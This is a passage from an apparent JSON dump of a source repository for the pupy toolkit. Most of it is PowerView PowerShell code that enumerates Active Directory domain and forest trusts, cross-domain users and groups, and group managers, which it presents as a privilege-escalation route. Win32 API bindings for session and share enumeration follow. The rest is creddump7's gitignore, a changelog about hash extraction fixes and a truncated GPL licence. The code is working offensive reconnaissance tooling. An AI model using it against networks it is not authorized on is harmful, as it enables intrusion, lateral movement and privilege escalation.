$PtrInfo.ToInt64()\n\n                # 0 = success\n                if (($Result -eq 0) -and ($Offset -gt 0)) {\n\n                    # Work out how much to increment the pointer by finding out the size of the structure\n                    $Increment = $DS_DOMAIN_TRUSTS::GetSize()\n\n                    # parse all the result structures\n                    for ($i = 0; ($i -lt $DomainCount); $i++) {\n                        # create a new int ptr at the given offset and cast the pointer as our result structure\n                        $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset\n                        $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS\n\n                        $Offset = $NewIntPtr.ToInt64()\n                        $Offset += $Increment\n\n                        $SidString = \"\"\n                        $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()\n\n                        if($Result -eq 0) {\n                            Write-Verbose \"Error: $(([ComponentModel.Win32Exception] $LastError).Message)\"\n                        }\n                        else {\n                            $DomainTrust = New-Object PSObject\n                            $DomainTrust | Add-Member Noteproperty 'SourceDomain' $SourceDomain\n                            $DomainTrust | Add-Member Noteproperty 'SourceDomainController' $DomainController\n                            $DomainTrust | Add-Member Noteproperty 'NetbiosDomainName' $Info.NetbiosDomainName\n                            $DomainTrust | Add-Member Noteproperty 'DnsDomainName' $Info.DnsDomainName\n                            $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags\n                            $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex\n                            $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType\n                            $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes\n                            $DomainTrust | Add-Member Noteproperty 'DomainSid' $SidString\n                            $DomainTrust | Add-Member Noteproperty 'DomainGuid' $Info.DomainGuid\n                            $DomainTrust.PSObject.TypeNames.Add('PowerView.APIDomainTrust')\n                            $DomainTrust\n                        }\n                    }\n                    # free up the result buffer\n                    $Null = $Netapi32::NetApiBufferFree($PtrInfo)\n                }\n                else {\n                    Write-Verbose \"Error: $(([ComponentModel.Win32Exception] $Result).Message)\"\n                }\n            }\n            else {\n                Write-Verbose \"Could not retrieve domain controller for $Domain\"\n            }\n        }\n        else {\n            # if we're using direct domain connections through .NET\n            $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential\n            if($FoundDomain) {\n                $FoundDomain.GetAllTrustRelationships() | ForEach-Object {\n                    $_.PSObject.TypeNames.Add('PowerView.DomainTrust')\n                    $_\n                }\n            }\n        }\n    }\n}\n\n\nfunction Get-NetForestTrust {\n<#\n    .SYNOPSIS\n\n        Return all trusts for the current forest.\n\n    .PARAMETER Forest\n\n        Return trusts for the specified forest.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetForestTrust\n\n        Return current forest trusts.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetForestTrust -Forest \"test\"\n\n        Return trusts for the \"test\" forest.\n#>\n\n    [CmdletBinding()]\n    param(\n        [Parameter(Position=0,ValueFromPipeline=$True)]\n        [String]\n        $Forest,\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    process {\n        $FoundForest = Get-NetForest -Forest $Forest -Credential $Credential\n\n        if($FoundForest) {\n            $FoundForest.GetAllTrustRelationships() | ForEach-Object {\n                $_.PSObject.TypeNames.Add('PowerView.ForestTrust')\n                $_\n            }\n        }\n    }\n}\n\n\nfunction Find-ForeignUser {\n<#\n    .SYNOPSIS\n\n        Enumerates users who are in groups outside of their\n        principal domain. The -Recurse option will try to map all \n        transitive domain trust relationships and enumerate all \n        users who are in groups outside of their principal domain.\n\n    .PARAMETER UserName\n\n        Username to filter results for, wildcards accepted.\n\n    .PARAMETER Domain\n\n        Domain to query for users, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER LDAP\n\n        Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.\n        More likely to get around network segmentation, but not as accurate.\n\n    .PARAMETER Recurse\n\n        Switch. Enumerate all user trust groups from all reachable domains recursively.\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .LINK\n\n        http://blog.harmj0y.net/\n#>\n\n    [CmdletBinding()]\n    param(\n        [String]\n        $UserName,\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [Switch]\n        $LDAP,\n\n        [Switch]\n        $Recurse,\n\n        [ValidateRange(1,10000)] \n        [Int]\n        $PageSize = 200\n    )\n\n    function Get-ForeignUser {\n        # helper used to enumerate users who are in groups outside of their principal domain\n        param(\n            [String]\n            $UserName,\n\n            [String]\n            $Domain,\n\n            [String]\n            $DomainController,\n\n            [ValidateRange(1,10000)] \n            [Int]\n            $PageSize = 200\n        )\n\n        if ($Domain) {\n            # get the domain name into distinguished form\n            $DistinguishedDomainName = \"DC=\" + $Domain -replace '\\.',',DC='\n        }\n        else {\n            $DistinguishedDomainName = [String] ([adsi]'').distinguishedname\n            $Domain = $DistinguishedDomainName -replace 'DC=','' -replace ',','.'\n        }\n\n        Get-NetUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize -Filter '(memberof=*)' | ForEach-Object {\n            ForEach ($Membership in $_.memberof) {\n                $Index = $Membership.IndexOf(\"DC=\")\n                if($Index) {\n                    \n                    $GroupDomain = $($Membership.substring($Index)) -replace 'DC=','' -replace ',','.'\n                    \n                    if ($GroupDomain.CompareTo($Domain)) {\n                        # if the group domain doesn't match the user domain, output\n                        $GroupName = $Membership.split(\",\")[0].split(\"=\")[1]\n                        $ForeignUser = New-Object PSObject\n                        $ForeignUser | Add-Member Noteproperty 'UserDomain' $Domain\n                        $ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname\n                        $ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain\n                        $ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName\n                        $ForeignUser | Add-Member Noteproperty 'GroupDN' $Membership\n                        $ForeignUser\n                    }\n                }\n            }\n        }\n    }\n\n    if ($Recurse) {\n        # get all rechable domains in the trust mesh and uniquify them\n        if($LDAP -or $DomainController) {\n            $DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique\n        }\n        else {\n            $DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique\n        }\n\n        ForEach($DomainTrust in $DomainTrusts) {\n            # get the trust groups for each domain in the trust mesh\n            Write-Verbose \"Enumerating trust groups in domain $DomainTrust\"\n            Get-ForeignUser -Domain $DomainTrust -UserName $UserName -PageSize $PageSize\n        }\n    }\n    else {\n        Get-ForeignUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize\n    }\n}\n\n\nfunction Find-ForeignGroup {\n<#\n    .SYNOPSIS\n\n        Enumerates all the members of a given domain's groups\n        and finds users that are not in the queried domain.\n        The -Recurse flag will perform this enumeration for all\n        eachable domain trusts.\n\n    .PARAMETER GroupName\n\n        Groupname to filter results for, wildcards accepted.\n\n    .PARAMETER Domain\n\n        Domain to query for groups, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER LDAP\n\n        Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.\n        More likely to get around network segmentation, but not as accurate.\n\n    .PARAMETER Recurse\n\n        Switch. Enumerate all group trust users from all reachable domains recursively.\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .LINK\n\n        http://blog.harmj0y.net/\n#>\n\n    [CmdletBinding()]\n    param(\n        [String]\n        $GroupName = '*',\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [Switch]\n        $LDAP,\n\n        [Switch]\n        $Recurse,\n\n        [ValidateRange(1,10000)] \n        [Int]\n        $PageSize = 200\n    )\n\n    function Get-ForeignGroup {\n        param(\n            [String]\n            $GroupName = '*',\n\n            [String]\n            $Domain,\n\n            [String]\n            $DomainController,\n\n            [ValidateRange(1,10000)] \n            [Int]\n            $PageSize = 200\n        )\n\n        if(-not $Domain) {\n            $Domain = (Get-NetDomain).Name\n        }\n\n        $DomainDN = \"DC=$($Domain.Replace('.', ',DC='))\"\n        Write-Verbose \"DomainDN: $DomainDN\"\n\n        # standard group names to ignore\n        $ExcludeGroups = @(\"Users\", \"Domain Users\", \"Guests\")\n\n        # get all the groupnames for the given domain\n        Get-NetGroup -GroupName $GroupName -Filter '(member=*)' -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Where-Object {\n            # exclude common large groups\n            -not ($ExcludeGroups -contains $_.samaccountname) } | ForEach-Object {\n                \n                $GroupName = $_.samAccountName\n\n                $_.member | ForEach-Object {\n                    # filter for foreign SIDs in the cn field for users in another domain,\n                    #   or if the DN doesn't end with the proper DN for the queried domain  \n                    if (($_ -match 'CN=S-1-5-21.*-.*') -or ($DomainDN -ne ($_.substring($_.IndexOf(\"DC=\"))))) {\n\n                        $UserDomain = $_.subString($_.IndexOf(\"DC=\")) -replace 'DC=','' -replace ',','.'\n                        $UserName = $_.split(\",\")[0].split(\"=\")[1]\n\n                        $ForeignGroupUser = New-Object PSObject\n                        $ForeignGroupUser | Add-Member Noteproperty 'GroupDomain' $Domain\n                        $ForeignGroupUser | Add-Member Noteproperty 'GroupName' $GroupName\n                        $ForeignGroupUser | Add-Member Noteproperty 'UserDomain' $UserDomain\n                        $ForeignGroupUser | Add-Member Noteproperty 'UserName' $UserName\n                        $ForeignGroupUser | Add-Member Noteproperty 'UserDN' $_\n                        $ForeignGroupUser\n                    }\n                }\n        }\n    }\n\n    if ($Recurse) {\n        # get all rechable domains in the trust mesh and uniquify them\n        if($LDAP -or $DomainController) {\n            $DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique\n        }\n        else {\n            $DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique\n        }\n\n        ForEach($DomainTrust in $DomainTrusts) {\n            # get the trust groups for each domain in the trust mesh\n            Write-Verbose \"Enumerating trust groups in domain $DomainTrust\"\n            Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize\n        }\n    }\n    else {\n        Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize\n    }\n}\n\n\nfunction Find-ManagedSecurityGroups {\n<#\n    .SYNOPSIS\n\n        This function retrieves all security groups in the domain and identifies ones that\n        have a manager set. It also determines whether the manager has the ability to add\n        or remove members from the group.\n\n        Author: Stuart Morgan (@ukstufus) <stuart.morgan@mwrinfosecurity.com>\n        License: BSD 3-Clause\n\n    .EXAMPLE\n\n        PS C:\\> Find-ManagedSecurityGroups | Export-PowerViewCSV -NoTypeInformation group-managers.csv\n\n        Store a list of all security groups with managers in group-managers.csv\n\n    .DESCRIPTION\n\n        Authority to manipulate the group membership of AD security groups and distribution groups \n        can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically\n        used to delegate management authority to distribution groups, but Windows supports security groups\n        being managed in the same way.\n\n        This function searches for AD groups which have a group manager set, and determines whether that\n        user can manipulate group membership. This could be a useful method of horizontal privilege\n        escalation, especially if the manager can manipulate the membership of a privileged group.\n\n    .LINK\n\n        https://github.com/PowerShellEmpire/Empire/pull/119\n\n#>\n\n    # Go through the list of security groups on the domain and identify those who have a manager\n    Get-NetGroup -FullData -Filter '(managedBy=*)' | Select-Object -Unique distinguishedName,managedBy,cn | ForEach-Object {\n\n        # Retrieve the object that the managedBy DN refers to\n        $group_manager = Get-ADObject -ADSPath $_.managedBy | Select-Object cn,distinguishedname,name,samaccounttype,samaccountname\n\n        # Create a results object to store our findings\n        $results_object = New-Object -TypeName PSObject -Property @{\n            'GroupCN' = $_.cn\n            'GroupDN' = $_.distinguishedname\n            'ManagerCN' = $group_manager.cn\n            'ManagerDN' = $group_manager.distinguishedName\n            'ManagerSAN' = $group_manager.samaccountname\n            'ManagerType' = ''\n            'CanManagerWrite' = $FALSE\n        }\n\n        # Determine whether the manager is a user or a group\n        if ($group_manager.samaccounttype -eq 0x10000000) {\n            $results_object.ManagerType = 'Group'\n        } elseif ($group_manager.samaccounttype -eq 0x30000000) {\n            $results_object.ManagerType = 'User'\n        }\n\n        # Find the ACLs that relate to the ability to write to the group\n        $xacl = Get-ObjectAcl -ADSPath $_.distinguishedname -Rights WriteMembers\n\n        # Double-check that the manager\n        if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AccessControlType -eq 'Allow' -and $xacl.IdentityReference.Value.Contains($group_manager.samaccountname)) {\n            $results_object.CanManagerWrite = $TRUE\n        }\n        $results_object\n    }\n}\n\n\nfunction Invoke-MapDomainTrust {\n<#\n    .SYNOPSIS\n\n        This function gets all trusts for the current domain,\n        and tries to get all trusts for each domain it finds.\n\n    .PARAMETER LDAP\n\n        Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.\n        More likely to get around network segmentation, but not as accurate.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target domain.\n\n    .EXAMPLE\n\n        PS C:\\> Invoke-MapDomainTrust | Export-CSV -NoTypeInformation trusts.csv\n        \n        Map all reachable domain trusts and output everything to a .csv file.\n\n    .LINK\n\n        http://blog.harmj0y.net/\n#>\n    [CmdletBinding()]\n    param(\n        [Switch]\n        $LDAP,\n\n        [String]\n        $DomainController,\n\n        [ValidateRange(1,10000)] \n        [Int]\n        $PageSize = 200,\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    # keep track of domains seen so we don't hit infinite recursion\n    $SeenDomains = @{}\n\n    # our domain status tracker\n    $Domains = New-Object System.Collections.Stack\n\n    # get the current domain and push it onto the stack\n    $CurrentDomain = (Get-NetDomain -Credential $Credential).Name\n    $Domains.push($CurrentDomain)\n\n    while($Domains.Count -ne 0) {\n\n        $Domain = $Domains.Pop()\n\n        # if we haven't seen this domain before\n        if ($Domain -and ($Domain.Trim() -ne \"\") -and (-not $SeenDomains.ContainsKey($Domain))) {\n            \n            Write-Verbose \"Enumerating trusts for domain '$Domain'\"\n\n            # mark it as seen in our list\n            $Null = $SeenDomains.add($Domain, \"\")\n\n            try {\n                # get all the trusts for this domain\n                if($LDAP -or $DomainController) {\n                    $Trusts = Get-NetDomainTrust -Domain $Domain -LDAP -DomainController $DomainController -PageSize $PageSize -Credential $Credential\n                }\n                else {\n                    $Trusts = Get-NetDomainTrust -Domain $Domain -PageSize $PageSize -Credential $Credential\n                }\n\n                if($Trusts -isnot [System.Array]) {\n                    $Trusts = @($Trusts)\n                }\n\n                # get any forest trusts, if they exist\n                if(-not ($LDAP -or $DomainController) ) {\n                    $Trusts += Get-NetForestTrust -Forest $Domain -Credential $Credential\n                }\n\n                if ($Trusts) {\n                    if($Trusts -isnot [System.Array]) {\n                        $Trusts = @($Trusts)\n                    }\n\n                    # enumerate each trust found\n                    ForEach ($Trust in $Trusts) {\n                        if($Trust.SourceName -and $Trust.TargetName) {\n                            $SourceDomain = $Trust.SourceName\n                            $TargetDomain = $Trust.TargetName\n                            $TrustType = $Trust.TrustType\n                            $TrustDirection = $Trust.TrustDirection\n                            $ObjectType = $Trust.PSObject.TypeNames | Where-Object {$_ -match 'PowerView'} | Select-Object -First 1\n\n                            # make sure we process the target\n                            $Null = $Domains.Push($TargetDomain)\n\n                            # build the nicely-parsable custom output object\n                            $DomainTrust = New-Object PSObject\n                            $DomainTrust | Add-Member Noteproperty 'SourceDomain' \"$SourceDomain\"\n                            $DomainTrust | Add-Member Noteproperty 'SourceSID' $Trust.SourceSID\n                            $DomainTrust | Add-Member Noteproperty 'TargetDomain' \"$TargetDomain\"\n                            $DomainTrust | Add-Member Noteproperty 'TargetSID' $Trust.TargetSID\n                            $DomainTrust | Add-Member Noteproperty 'TrustType' \"$TrustType\"\n                            $DomainTrust | Add-Member Noteproperty 'TrustDirection' \"$TrustDirection\"\n                            $DomainTrust.PSObject.TypeNames.Add($ObjectType)\n                            $DomainTrust\n                        }\n                    }\n                }\n            }\n            catch {\n                Write-Verbose \"[!] Error: $_\"\n            }\n        }\n    }\n}\n\n\n########################################################\n#\n# Expose the Win32API functions and datastructures below\n# using PSReflect. \n# Warning: Once these are executed, they are baked in \n# and can't be changed while the script is running!\n#\n########################################################\n\n$Mod = New-InMemoryModule -ModuleName Win32\n\n# all of the Win32 API functions we need\n$FunctionDefinitions = @(\n    (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),\n    (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),\n    (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),\n    (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),\n    (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),\n    (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())),\n    (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),\n    (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),\n    (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError),\n    (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),\n    (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),\n    (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),\n    (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),\n    (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),\n    (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),\n    (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr]))\n)\n\n# enum used by $WTS_SESSION_INFO_1 below\n$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{\n    Active       =    0\n    Connected    =    1\n    ConnectQuery =    2\n    Shadow       =    3\n    Disconnected =    4\n    Idle         =    5\n    Listen       =    6\n    Reset        =    7\n    Down         =    8\n    Init         =    9\n}\n\n# the WTSEnumerateSessionsEx result structure\n$WTS_SESSION_INFO_1 = struct $Mod WTS_SESSION_INFO_1 @{\n    ExecEnvId = field 0 UInt32\n    State = field 1 $WTSConnectState\n    SessionId = field 2 UInt32\n    pSessionName = field 3 String -MarshalAs @('LPWStr')\n    pHostName = field 4 String -MarshalAs @('LPWStr')\n    pUserName = field 5 String -MarshalAs @('LPWStr')\n    pDomainName = field 6 String -MarshalAs @('LPWStr')\n    pFarmName = field 7 String -MarshalAs @('LPWStr')\n}\n\n# the particular WTSQuerySessionInformation result structure\n$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{\n    AddressFamily = field 0 UInt32\n    Address = field 1 Byte[] -MarshalAs @('ByValArray', 20)\n}\n\n# the NetShareEnum result structure\n$SHARE_INFO_1 = struct $Mod SHARE_INFO_1 @{\n    shi1_netname = field 0 String -MarshalAs @('LPWStr')\n    shi1_type = field 1 UInt32\n    shi1_remark = field 2 String -MarshalAs @('LPWStr')\n}\n\n# the NetWkstaUserEnum result structure\n$WKSTA_USER_INFO_1 = struct $Mod WKSTA_USER_INFO_1 @{\n    wkui1_username = field 0 String -MarshalAs @('LPWStr')\n    wkui1_logon_domain = field 1 String -MarshalAs @('LPWStr')\n    wkui1_oth_domains = field 2 String -MarshalAs @('LPWStr')\n    wkui1_logon_server = field 3 String -MarshalAs @('LPWStr')\n}\n\n# the NetSessionEnum result structure\n$SESSION_INFO_10 = struct $Mod SESSION_INFO_10 @{\n    sesi10_cname = field 0 String -MarshalAs @('LPWStr')\n    sesi10_username = field 1 String -MarshalAs @('LPWStr')\n    sesi10_time = field 2 UInt32\n    sesi10_idle_time = field 3 UInt32\n}\n\n# enum used by $LOCALGROUP_MEMBERS_INFO_2 below\n$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{\n    SidTypeUser             = 1\n    SidTypeGroup            = 2\n    SidTypeDomain           = 3\n    SidTypeAlias            = 4\n    SidTypeWellKnownGroup   = 5\n    SidTypeDeletedAccount   = 6\n    SidTypeInvalid          = 7\n    SidTypeUnknown          = 8\n    SidTypeComputer         = 9\n}\n\n# the NetLocalGroupGetMembers result structure\n$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{\n    lgrmi2_sid = field 0 IntPtr\n    lgrmi2_sidusage = field 1 $SID_NAME_USE\n    lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr')\n}\n\n# enums used in DS_DOMAIN_TRUSTS\n$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{\n    IN_FOREST       = 1\n    DIRECT_OUTBOUND = 2\n    TREE_ROOT       = 4\n    PRIMARY         = 8\n    NATIVE_MODE     = 16\n    DIRECT_INBOUND  = 32\n} -Bitfield\n$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{\n    DOWNLEVEL   = 1\n    UPLEVEL     = 2\n    MIT         = 3\n    DCE         = 4\n}\n$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{\n    NON_TRANSITIVE      = 1\n    UPLEVEL_ONLY        = 2\n    FILTER_SIDS         = 4\n    FOREST_TRANSITIVE   = 8\n    CROSS_ORGANIZATION  = 16\n    WITHIN_FOREST       = 32\n    TREAT_AS_EXTERNAL   = 64\n}\n\n# the DsEnumerateDomainTrusts result structure\n$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{\n    NetbiosDomainName = field 0 String -MarshalAs @('LPWStr')\n    DnsDomainName = field 1 String -MarshalAs @('LPWStr')\n    Flags = field 2 $DsDomainFlag\n    ParentIndex = field 3 UInt32\n    TrustType = field 4 $DsDomainTrustType\n    TrustAttributes = field 5 $DsDomainTrustAttributes\n    DomainSid = field 6 IntPtr\n    DomainGuid = field 7 Guid\n}\n\n$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'\n$Netapi32 = $Types['netapi32']\n$Advapi32 = $Types['advapi32']\n$Wtsapi32 = $Types['wtsapi32']\n"
  },
  {
    "path": "pupy/external/creddump7/.gitignore",
    "content": "# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n\n# C extensions\n*.so\n\n# Distribution / packaging\n.Python\nenv/\nbuild/\ndevelop-eggs/\ndist/\neggs/\nlib/\nlib64/\nparts/\nsdist/\nvar/\n*.egg-info/\n.installed.cfg\n*.egg\n\n# Installer logs\npip-log.txt\npip-delete-this-directory.txt\n\n# Unit test / coverage reports\nhtmlcov/\n.tox/\n.coverage\n.cache\nnosetests.xml\ncoverage.xml\n\n# Translations\n*.mo\n*.pot\n\n# Django stuff:\n*.log\n\n# Sphinx documentation\ndocs/_build/\n"
  },
  {
    "path": "pupy/external/creddump7/CHANGELOG",
    "content": "Version: 0.3 Date: 8/1/2012\n\n* Fixed LM and NTLM Hash Corruption issue. Thanks to Jonathan Claudius.\n  Closes Issue 3.\n\nVersion: 0.2 Date: 2/24/2011\n\n* Fixed issue with wrong format specifier being used (L instead of I), which\n  caused creddump to fail on 64-bit systems.\n"
  },
  {
    "path": "pupy/external/creddump7/COPYING",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered 